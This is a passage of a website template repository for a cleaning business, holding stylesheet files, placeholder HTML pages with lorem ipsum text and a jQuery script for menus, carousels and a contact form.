70 | font-size: 12px;
71 | font-weight: 500;
72 | margin: 0;
73 | padding: 1em 5%;
74 | text-align: left;
75 | text-decoration: none;
76 | text-transform: uppercase;
77 | width: 90%;
78 | }
79 |
80 | .mean-container .mean-nav ul li a:hover {
81 | color: #38c8a8;
82 | }
83 |
84 | .mean-container .mean-nav ul li li a {
85 | width: 80%;
86 | padding: 1em 10%;
87 | border-top: 1px solid #ccc;
88 | border-top: 1px solid #ccc;
89 | opacity: 1;
90 | filter: alpha(opacity=1);
91 | text-shadow: none !important;
92 | visibility: visible;
93 | }
94 |
95 | .mean-container .mean-nav ul li.mean-last a {
96 | border-bottom: 1px solid #cccccc;
97 | margin-bottom: 0;
98 | }
99 |
100 | .mean-container .mean-nav ul li li li a {
101 | width: 70%;
102 | padding: 1em 15%;
103 | }
104 |
105 | .mean-container .mean-nav ul li li li li a {
106 | width: 60%;
107 | padding: 1em 20%;
108 | }
109 |
110 | .mean-container .mean-nav ul li li li li li a {
111 | width: 50%;
112 | padding: 1em 25%;
113 | }
114 |
115 | .mean-container .mean-nav ul li a:hover {
116 | ` background: #252525;
117 | background: rgba(255, 255, 255, 0.1);
118 | }
119 |
120 | .mean-container .mean-nav ul li a.mean-expand {
121 | background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
122 | border: medium none;
123 | font-weight: 400;
124 | height: 22px;
125 | line-height: 22px;
126 | margin-top: 1px;
127 | padding: 12px 16px;
128 | position: absolute;
129 | right: 0;
130 | text-align: center;
131 | top: -1px;
132 | width: 17px;
133 | z-index: 2;
134 | font-size: 18px !important;
135 | }
136 |
137 | .mean-container .mean-nav ul li a.mean-expand:hover {
138 | background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
139 | color: #ffffff;
140 | }
141 |
142 | .mean-container .mean-push {
143 | float: left;
144 | width: 100%;
145 | padding: 0;
146 | margin: 0;
147 | clear: both;
148 | }
149 |
150 | .mean-nav .wrapper {
151 | width: 100%;
152 | padding: 0;
153 | margin: 0;
154 | }
155 |
156 | .mean-container .mean-bar,
157 | .mean-container .mean-bar * {
158 | -webkit-box-sizing: content-box;
159 | -moz-box-sizing: content-box;
160 | box-sizing: content-box;
161 | }
162 |
163 | .mean-remove {
164 | display: none !important;
165 | }
166 |
167 | .mean-nav span {
168 | display: none;
169 | }
170 |
171 | .mean-container .mean-nav ul li a.mean-expand:hover,
172 | .mean-container .mean-nav ul li a.mean-expand:focus {
173 | background: #38c8a8;
174 | color: #ffffff;
175 | }
176 |
177 | .mean-container .mean-nav ul li a:hover {
178 | color: #308409;
179 | }
180 |
--------------------------------------------------------------------------------
/about.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | About
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
39 |
75 |
76 |
77 |
78 |
79 |
80 |
83 |
84 |
About Cleaning
86 |
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
87 | incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,Lorem ipsum dolor sit amet, consectetur
88 | adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
89 |
90 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
132 |
140 |
141 |
142 |
--------------------------------------------------------------------------------
/css/bootstrap-reboot.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
3 | * Copyright 2011-2018 The Bootstrap Authors
4 | * Copyright 2011-2018 Twitter, Inc.
5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
7 | */
8 | *,
9 | *::before,
10 | *::after {
11 | box-sizing: border-box;
12 | }
13 |
14 | html {
15 | font-family: sans-serif;
16 | line-height: 1.15;
17 | -webkit-text-size-adjust: 100%;
18 | -ms-text-size-adjust: 100%;
19 | -ms-overflow-style: scrollbar;
20 | -webkit-tap-highlight-color: transparent;
21 | }
22 |
23 | @-ms-viewport {
24 | width: device-width;
25 | }
26 |
27 | article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
28 | display: block;
29 | }
30 |
31 | body {
32 | margin: 0;
33 | font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
34 | font-size: 1rem;
35 | font-weight: 400;
36 | line-height: 1.5;
37 | color: #212529;
38 | text-align: left;
39 | background-color: #fff;
40 | }
41 |
42 | [tabindex="-1"]:focus {
43 | outline: 0 !important;
44 | }
45 |
46 | hr {
47 | box-sizing: content-box;
48 | height: 0;
49 | overflow: visible;
50 | }
51 |
52 | h1, h2, h3, h4, h5, h6 {
53 | margin-top: 0;
54 | margin-bottom: 0.5rem;
55 | }
56 |
57 | p {
58 | margin-top: 0;
59 | margin-bottom: 1rem;
60 | }
61 |
62 | abbr[title],
63 | abbr[data-original-title] {
64 | text-decoration: underline;
65 | -webkit-text-decoration: underline dotted;
66 | text-decoration: underline dotted;
67 | cursor: help;
68 | border-bottom: 0;
69 | }
70 |
71 | address {
72 | margin-bottom: 1rem;
73 | font-style: normal;
74 | line-height: inherit;
75 | }
76 |
77 | ol,
78 | ul,
79 | dl {
80 | margin-top: 0;
81 | margin-bottom: 1rem;
82 | }
83 |
84 | ol ol,
85 | ul ul,
86 | ol ul,
87 | ul ol {
88 | margin-bottom: 0;
89 | }
90 |
91 | dt {
92 | font-weight: 700;
93 | }
94 |
95 | dd {
96 | margin-bottom: .5rem;
97 | margin-left: 0;
98 | }
99 |
100 | blockquote {
101 | margin: 0 0 1rem;
102 | }
103 |
104 | dfn {
105 | font-style: italic;
106 | }
107 |
108 | b,
109 | strong {
110 | font-weight: bolder;
111 | }
112 |
113 | small {
114 | font-size: 80%;
115 | }
116 |
117 | sub,
118 | sup {
119 | position: relative;
120 | font-size: 75%;
121 | line-height: 0;
122 | vertical-align: baseline;
123 | }
124 |
125 | sub {
126 | bottom: -.25em;
127 | }
128 |
129 | sup {
130 | top: -.5em;
131 | }
132 |
133 | a {
134 | color: #007bff;
135 | text-decoration: none;
136 | background-color: transparent;
137 | -webkit-text-decoration-skip: objects;
138 | }
139 |
140 | a:hover {
141 | color: #0056b3;
142 | text-decoration: underline;
143 | }
144 |
145 | a:not([href]):not([tabindex]) {
146 | color: inherit;
147 | text-decoration: none;
148 | }
149 |
150 | a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
151 | color: inherit;
152 | text-decoration: none;
153 | }
154 |
155 | a:not([href]):not([tabindex]):focus {
156 | outline: 0;
157 | }
158 |
159 | pre,
160 | code,
161 | kbd,
162 | samp {
163 | font-family: monospace, monospace;
164 | font-size: 1em;
165 | }
166 |
167 | pre {
168 | margin-top: 0;
169 | margin-bottom: 1rem;
170 | overflow: auto;
171 | -ms-overflow-style: scrollbar;
172 | }
173 |
174 | figure {
175 | margin: 0 0 1rem;
176 | }
177 |
178 | img {
179 | vertical-align: middle;
180 | border-style: none;
181 | }
182 |
183 | svg:not(:root) {
184 | overflow: hidden;
185 | }
186 |
187 | table {
188 | border-collapse: collapse;
189 | }
190 |
191 | caption {
192 | padding-top: 0.75rem;
193 | padding-bottom: 0.75rem;
194 | color: #6c757d;
195 | text-align: left;
196 | caption-side: bottom;
197 | }
198 |
199 | th {
200 | text-align: inherit;
201 | }
202 |
203 | label {
204 | display: inline-block;
205 | margin-bottom: 0.5rem;
206 | }
207 |
208 | button {
209 | border-radius: 0;
210 | }
211 |
212 | button:focus {
213 | outline: 1px dotted;
214 | outline: 5px auto -webkit-focus-ring-color;
215 | }
216 |
217 | input,
218 | button,
219 | select,
220 | optgroup,
221 | textarea {
222 | margin: 0;
223 | font-family: inherit;
224 | font-size: inherit;
225 | line-height: inherit;
226 | }
227 |
228 | button,
229 | input {
230 | overflow: visible;
231 | }
232 |
233 | button,
234 | select {
235 | text-transform: none;
236 | }
237 |
238 | button,
239 | html [type="button"],
240 | [type="reset"],
241 | [type="submit"] {
242 | -webkit-appearance: button;
243 | }
244 |
245 | button::-moz-focus-inner,
246 | [type="button"]::-moz-focus-inner,
247 | [type="reset"]::-moz-focus-inner,
248 | [type="submit"]::-moz-focus-inner {
249 | padding: 0;
250 | border-style: none;
251 | }
252 |
253 | input[type="radio"],
254 | input[type="checkbox"] {
255 | box-sizing: border-box;
256 | padding: 0;
257 | }
258 |
259 | input[type="date"],
260 | input[type="time"],
261 | input[type="datetime-local"],
262 | input[type="month"] {
263 | -webkit-appearance: listbox;
264 | }
265 |
266 | textarea {
267 | overflow: auto;
268 | resize: vertical;
269 | }
270 |
271 | fieldset {
272 | min-width: 0;
273 | padding: 0;
274 | margin: 0;
275 | border: 0;
276 | }
277 |
278 | legend {
279 | display: block;
280 | width: 100%;
281 | max-width: 100%;
282 | padding: 0;
283 | margin-bottom: .5rem;
284 | font-size: 1.5rem;
285 | line-height: inherit;
286 | color: inherit;
287 | white-space: normal;
288 | }
289 |
290 | progress {
291 | vertical-align: baseline;
292 | }
293 |
294 | [type="number"]::-webkit-inner-spin-button,
295 | [type="number"]::-webkit-outer-spin-button {
296 | height: auto;
297 | }
298 |
299 | [type="search"] {
300 | outline-offset: -2px;
301 | -webkit-appearance: none;
302 | }
303 |
304 | [type="search"]::-webkit-search-cancel-button,
305 | [type="search"]::-webkit-search-decoration {
306 | -webkit-appearance: none;
307 | }
308 |
309 | ::-webkit-file-upload-button {
310 | font: inherit;
311 | -webkit-appearance: button;
312 | }
313 |
314 | output {
315 | display: inline-block;
316 | }
317 |
318 | summary {
319 | display: list-item;
320 | cursor: pointer;
321 | }
322 |
323 | template {
324 | display: none;
325 | }
326 |
327 | [hidden] {
328 | display: none !important;
329 | }
330 | /*# sourceMappingURL=bootstrap-reboot.css.map */
--------------------------------------------------------------------------------
/choose.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Choose
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
39 |
75 |
76 |
77 |
78 |
79 |
Why Choose
80 | Us
81 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
82 | aliqua
83 |
84 |
85 |
86 |
87 |
12004+
88 | Our clients
89 |
90 |
91 |
92 |
93 |
10004+
94 | Happy clients
95 |
96 |
97 |
98 |
99 |
804+
100 | Supports
101 |
102 |
103 |
104 |
105 |
905+
106 | Awards
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
151 |
159 |
160 |
161 |
--------------------------------------------------------------------------------
/contact.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Contact
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
39 |
75 |
76 |
77 |
128 |
129 |
130 |
131 |
132 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
164 |
172 |
173 |
174 |
--------------------------------------------------------------------------------
/services.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Services
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
39 |
75 |
76 |
77 |
78 |
79 |
Our Services
81 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
82 | aliqua
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
Tile & Grout
92 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
93 | Duis aute irure dolor
94 |
95 |
96 |
97 |
98 |
99 |
Carpet Cleaning
100 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
101 | aute irure dolor
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
Tile & Grout
114 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
115 | Duis aute irure dolor
116 |
117 |
118 |
119 |
120 |
121 |
Carpet Cleaning
122 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
123 | aute irure dolor
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
Tile & Grout
136 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
137 | Duis aute irure dolor
138 |
139 |
140 |
141 |
142 |
143 |
Carpet Cleaning
144 |
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis
145 | aute irure dolor
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
197 |
205 |
206 |
207 |
--------------------------------------------------------------------------------
/css/normalize.css:
--------------------------------------------------------------------------------
1 | /*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
2 |
3 | /* Document
4 | ========================================================================== */
5 |
6 | /**
7 | * 1. Correct the line height in all browsers.
8 | * 2. Prevent adjustments of font size after orientation changes in
9 | * IE on Windows Phone and in iOS.
10 | */
11 |
12 | html {
13 | line-height: 1.15; /* 1 */
14 | -ms-text-size-adjust: 100%; /* 2 */
15 | -webkit-text-size-adjust: 100%; /* 2 */
16 | }
17 |
18 | /* Sections
19 | ========================================================================== */
20 |
21 | /**
22 | * Add the correct display in IE 9-.
23 | */
24 |
25 | article,
26 | aside,
27 | footer,
28 | header,
29 | nav,
30 | section {
31 | display: block;
32 | }
33 |
34 | /**
35 | * Correct the font size and margin on `h1` elements within `section` and
36 | * `article` contexts in Chrome, Firefox, and Safari.
37 | */
38 |
39 | h1 {
40 | font-size: 2em;
41 | margin: 0.67em 0;
42 | }
43 |
44 | /* Grouping content
45 | ========================================================================== */
46 |
47 | /**
48 | * Add the correct display in IE 9-.
49 | * 1. Add the correct display in IE.
50 | */
51 |
52 | figcaption,
53 | figure,
54 | main { /* 1 */
55 | display: block;
56 | }
57 |
58 | /**
59 | * Add the correct margin in IE 8.
60 | */
61 |
62 | figure {
63 | margin: 1em 40px;
64 | }
65 |
66 | /**
67 | * 1. Add the correct box sizing in Firefox.
68 | * 2. Show the overflow in Edge and IE.
69 | */
70 |
71 | hr {
72 | box-sizing: content-box; /* 1 */
73 | height: 0; /* 1 */
74 | overflow: visible; /* 2 */
75 | }
76 |
77 | /**
78 | * 1. Correct the inheritance and scaling of font size in all browsers.
79 | * 2. Correct the odd `em` font sizing in all browsers.
80 | */
81 |
82 | pre {
83 | font-family: monospace, monospace; /* 1 */
84 | font-size: 1em; /* 2 */
85 | }
86 |
87 | /* Text-level semantics
88 | ========================================================================== */
89 |
90 | /**
91 | * 1. Remove the gray background on active links in IE 10.
92 | * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
93 | */
94 |
95 | a {
96 | background-color: transparent; /* 1 */
97 | -webkit-text-decoration-skip: objects; /* 2 */
98 | }
99 |
100 | /**
101 | * 1. Remove the bottom border in Chrome 57- and Firefox 39-.
102 | * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
103 | */
104 |
105 | abbr[title] {
106 | border-bottom: none; /* 1 */
107 | text-decoration: underline; /* 2 */
108 | text-decoration: underline dotted; /* 2 */
109 | }
110 |
111 | /**
112 | * Prevent the duplicate application of `bolder` by the next rule in Safari 6.
113 | */
114 |
115 | b,
116 | strong {
117 | font-weight: inherit;
118 | }
119 |
120 | /**
121 | * Add the correct font weight in Chrome, Edge, and Safari.
122 | */
123 |
124 | b,
125 | strong {
126 | font-weight: bolder;
127 | }
128 |
129 | /**
130 | * 1. Correct the inheritance and scaling of font size in all browsers.
131 | * 2. Correct the odd `em` font sizing in all browsers.
132 | */
133 |
134 | code,
135 | kbd,
136 | samp {
137 | font-family: monospace, monospace; /* 1 */
138 | font-size: 1em; /* 2 */
139 | }
140 |
141 | /**
142 | * Add the correct font style in Android 4.3-.
143 | */
144 |
145 | dfn {
146 | font-style: italic;
147 | }
148 |
149 | /**
150 | * Add the correct background and color in IE 9-.
151 | */
152 |
153 | mark {
154 | background-color: #ff0;
155 | color: #000;
156 | }
157 |
158 | /**
159 | * Add the correct font size in all browsers.
160 | */
161 |
162 | small {
163 | font-size: 80%;
164 | }
165 |
166 | /**
167 | * Prevent `sub` and `sup` elements from affecting the line height in
168 | * all browsers.
169 | */
170 |
171 | sub,
172 | sup {
173 | font-size: 75%;
174 | line-height: 0;
175 | position: relative;
176 | vertical-align: baseline;
177 | }
178 |
179 | sub {
180 | bottom: -0.25em;
181 | }
182 |
183 | sup {
184 | top: -0.5em;
185 | }
186 |
187 | /* Embedded content
188 | ========================================================================== */
189 |
190 | /**
191 | * Add the correct display in IE 9-.
192 | */
193 |
194 | audio,
195 | video {
196 | display: inline-block;
197 | }
198 |
199 | /**
200 | * Add the correct display in iOS 4-7.
201 | */
202 |
203 | audio:not([controls]) {
204 | display: none;
205 | height: 0;
206 | }
207 |
208 | /**
209 | * Remove the border on images inside links in IE 10-.
210 | */
211 |
212 | img {
213 | border-style: none;
214 | }
215 |
216 | /**
217 | * Hide the overflow in IE.
218 | */
219 |
220 | svg:not(:root) {
221 | overflow: hidden;
222 | }
223 |
224 | /* Forms
225 | ========================================================================== */
226 |
227 | /**
228 | * Remove the margin in Firefox and Safari.
229 | */
230 |
231 | button,
232 | input,
233 | optgroup,
234 | select,
235 | textarea {
236 | margin: 0;
237 | }
238 |
239 | /**
240 | * Show the overflow in IE.
241 | * 1. Show the overflow in Edge.
242 | */
243 |
244 | button,
245 | input { /* 1 */
246 | overflow: visible;
247 | }
248 |
249 | /**
250 | * Remove the inheritance of text transform in Edge, Firefox, and IE.
251 | * 1. Remove the inheritance of text transform in Firefox.
252 | */
253 |
254 | button,
255 | select { /* 1 */
256 | text-transform: none;
257 | }
258 |
259 | /**
260 | * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
261 | * controls in Android 4.
262 | * 2. Correct the inability to style clickable types in iOS and Safari.
263 | */
264 |
265 | button,
266 | html [type="button"], /* 1 */
267 | [type="reset"],
268 | [type="submit"] {
269 | -webkit-appearance: button; /* 2 */
270 | }
271 |
272 | /**
273 | * Remove the inner border and padding in Firefox.
274 | */
275 |
276 | button::-moz-focus-inner,
277 | [type="button"]::-moz-focus-inner,
278 | [type="reset"]::-moz-focus-inner,
279 | [type="submit"]::-moz-focus-inner {
280 | border-style: none;
281 | padding: 0;
282 | }
283 |
284 | /**
285 | * Restore the focus styles unset by the previous rule.
286 | */
287 |
288 | button:-moz-focusring,
289 | [type="button"]:-moz-focusring,
290 | [type="reset"]:-moz-focusring,
291 | [type="submit"]:-moz-focusring {
292 | outline: 1px dotted ButtonText;
293 | }
294 |
295 | /**
296 | * 1. Correct the text wrapping in Edge and IE.
297 | * 2. Correct the color inheritance from `fieldset` elements in IE.
298 | * 3. Remove the padding so developers are not caught out when they zero out
299 | * `fieldset` elements in all browsers.
300 | */
301 |
302 | legend {
303 | box-sizing: border-box; /* 1 */
304 | color: inherit; /* 2 */
305 | display: table; /* 1 */
306 | max-width: 100%; /* 1 */
307 | padding: 0; /* 3 */
308 | white-space: normal; /* 1 */
309 | }
310 |
311 | /**
312 | * 1. Add the correct display in IE 9-.
313 | * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
314 | */
315 |
316 | progress {
317 | display: inline-block; /* 1 */
318 | vertical-align: baseline; /* 2 */
319 | }
320 |
321 | /**
322 | * Remove the default vertical scrollbar in IE.
323 | */
324 |
325 | textarea {
326 | overflow: auto;
327 | }
328 |
329 | /**
330 | * 1. Add the correct box sizing in IE 10-.
331 | * 2. Remove the padding in IE 10-.
332 | */
333 |
334 | [type="checkbox"],
335 | [type="radio"] {
336 | box-sizing: border-box; /* 1 */
337 | padding: 0; /* 2 */
338 | }
339 |
340 | /**
341 | * Correct the cursor style of increment and decrement buttons in Chrome.
342 | */
343 |
344 | [type="number"]::-webkit-inner-spin-button,
345 | [type="number"]::-webkit-outer-spin-button {
346 | height: auto;
347 | }
348 |
349 | /**
350 | * 1. Correct the odd appearance in Chrome and Safari.
351 | * 2. Correct the outline style in Safari.
352 | */
353 |
354 | [type="search"] {
355 | -webkit-appearance: textfield; /* 1 */
356 | outline-offset: -2px; /* 2 */
357 | }
358 |
359 | /**
360 | * Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
361 | */
362 |
363 | [type="search"]::-webkit-search-cancel-button,
364 | [type="search"]::-webkit-search-decoration {
365 | -webkit-appearance: none;
366 | }
367 |
368 | /**
369 | * 1. Correct the inability to style clickable types in iOS and Safari.
370 | * 2. Change font properties to `inherit` in Safari.
371 | */
372 |
373 | ::-webkit-file-upload-button {
374 | -webkit-appearance: button; /* 1 */
375 | font: inherit; /* 2 */
376 | }
377 |
378 | /* Interactive
379 | ========================================================================== */
380 |
381 | /*
382 | * Add the correct display in IE 9-.
383 | * 1. Add the correct display in Edge, IE, and Firefox.
384 | */
385 |
386 | details, /* 1 */
387 | menu {
388 | display: block;
389 | }
390 |
391 | /*
392 | * Add the correct display in all browsers.
393 | */
394 |
395 | summary {
396 | display: list-item;
397 | }
398 |
399 | /* Scripting
400 | ========================================================================== */
401 |
402 | /**
403 | * Add the correct display in IE 9-.
404 | */
405 |
406 | canvas {
407 | display: inline-block;
408 | }
409 |
410 | /**
411 | * Add the correct display in IE.
412 | */
413 |
414 | template {
415 | display: none;
416 | }
417 |
418 | /* Hidden
419 | ========================================================================== */
420 |
421 | /**
422 | * Add the correct display in IE 10-.
423 | */
424 |
425 | [hidden] {
426 | display: none;
427 | }
428 |
--------------------------------------------------------------------------------
/team.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Team
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
34 |
35 |
36 |
37 |
38 |
39 |
75 |
76 |
77 |
78 |
79 |
Our Team
80 |
81 |
Consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna
82 | aliqua
83 |
84 |
85 |
86 |
87 |
88 |
89 |
Follow Us
90 |
98 |
99 |
100 |
Consectetur
101 |
It is a long established fact that a reader will be distracted by the readable
102 | content of a page when looking at its layout. The point of using Lorem
103 |
104 |
105 |
106 |
107 |
108 |
109 |
magna aliqua
110 |
It is a long established fact that a reader will be distracted by the readable
111 | content of a page when looking at its layout. The point of using Lorem
112 |
113 |
114 |
115 |
Follow Us
116 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
Follow Us
132 |
140 |
141 |
142 |
Aonsectetur
143 |
It is a long established fact that a reader will be distracted by the readable
144 | content of a page when looking at its layout. The point of using Lorem
145 |
146 |
147 |
148 |
149 |
150 |
151 |
Nonsectetur
152 |
It is a long established fact that a reader will be distracted by the readable
153 | content of a page when looking at its layout. The point of using Lorem
154 |
155 |
156 |
157 |
Follow Us
158 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
Newsletter
180 |
Tempor incididunt ut labore et dolore magna aliqua
181 |
182 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
Copyright 2025 All Right Reserved By Designed by Krypto Etox
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
227 |
235 |
236 |
237 |
--------------------------------------------------------------------------------
/js/custom.js:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: custom.js
3 | ---------------------------------------------------------------------*/
4 |
5 | $(function () {
6 |
7 | "use strict";
8 |
9 | /* Preloader
10 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
11 |
12 | setTimeout(function () {
13 | $('.loader_bg').fadeToggle();
14 | }, 1500);
15 |
16 | /* JQuery Menu
17 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
18 |
19 | $(document).ready(function () {
20 | $('header nav').meanmenu();
21 | });
22 |
23 | /* Tooltip
24 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
25 |
26 | $(document).ready(function(){
27 | $('[data-toggle="tooltip"]').tooltip();
28 | });
29 |
30 | /* sticky
31 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
32 |
33 | $(document).ready(function(){
34 | $(".sticky-wrapper-header").sticky({topSpacing:0});
35 | });
36 |
37 | /* Mouseover
38 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
39 |
40 | $(document).ready(function(){
41 | $(".main-menu ul li.megamenu").mouseover(function(){
42 | if (!$(this).parent().hasClass("#wrapper")){
43 | $("#wrapper").addClass('overlay');
44 | }
45 | });
46 | $(".main-menu ul li.megamenu").mouseleave(function(){
47 | $("#wrapper").removeClass('overlay');
48 | });
49 | });
50 |
51 | /* NiceScroll
52 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
53 |
54 | $(".brand-box").niceScroll({
55 | cursorcolor:"#9b9b9c",
56 | });
57 |
58 | /* NiceSelect
59 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
60 |
61 | $(document).ready(function() {
62 | $('select').niceSelect();
63 | });
64 |
65 | /* OwlCarousel - Blog Post slider
66 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
67 |
68 | $(document).ready(function() {
69 | var owl = $('.carousel-slider-post');
70 | owl.owlCarousel({
71 | items: 1,
72 | loop: true,
73 | margin: 10,
74 | autoplay: true,
75 | autoplayTimeout: 3000,
76 | autoplayHoverPause: true
77 | });
78 | });
79 |
80 | /* OwlCarousel - Banner Rotator Slider
81 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
82 |
83 | $(document).ready(function() {
84 | var owl = $('.banner-rotator-slider');
85 | owl.owlCarousel({
86 | items: 1,
87 | loop: true,
88 | margin: 10,
89 | nav: true,
90 | dots: false,
91 | navText : [" "," "],
92 | autoplay: true,
93 | autoplayTimeout: 3000,
94 | autoplayHoverPause: true
95 | });
96 | });
97 |
98 | /* OwlCarousel - Product Slider
99 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
100 |
101 | $(document).ready(function() {
102 | var owl = $('#product-in-slider');
103 | owl.owlCarousel({
104 | loop: true,
105 | nav: true,
106 | margin: 10,
107 | navText : [" "," "],
108 | responsive: {
109 | 0: {
110 | items: 1
111 | },
112 | 600: {
113 | items: 2
114 | },
115 | 960: {
116 | items: 3
117 | },
118 | 1200: {
119 | items: 4
120 | }
121 | }
122 | });
123 | owl.on('mousewheel', '.owl-stage', function(e) {
124 | if (e.deltaY > 0) {
125 | owl.trigger('next.owl');
126 | } else {
127 | owl.trigger('prev.owl');
128 | }
129 | e.preventDefault();
130 | });
131 | });
132 |
133 | /* Scroll to Top
134 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
135 |
136 | $(window).on('scroll', function (){
137 | scroll = $(window).scrollTop();
138 | if (scroll >= 100){
139 | $("#back-to-top").addClass('b-show_scrollBut')
140 | }else{
141 | $("#back-to-top").removeClass('b-show_scrollBut')
142 | }
143 | });
144 | $("#back-to-top").on("click", function(){
145 | $('body,html').animate({
146 | scrollTop: 0
147 | }, 1000);
148 | });
149 |
150 | /* Contact-form
151 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
152 | $.validator.setDefaults( {
153 | submitHandler: function () {
154 | alert( "submitted!" );
155 | }
156 | } );
157 |
158 | $( document ).ready( function () {
159 | $( "#contact-form" ).validate( {
160 | rules: {
161 | firstname: "required",
162 | email: {
163 | required: true,
164 | email: true
165 | },
166 | lastname: "required",
167 | message: "required",
168 | agree: "required"
169 | },
170 | messages: {
171 | firstname: "Please enter your firstname",
172 | email: "Please enter a valid email address",
173 | lastname: "Please enter your lastname",
174 | username: {
175 | required: "Please enter a username",
176 | minlength: "Your username must consist of at least 2 characters"
177 | },
178 | message: "Please enter your Message",
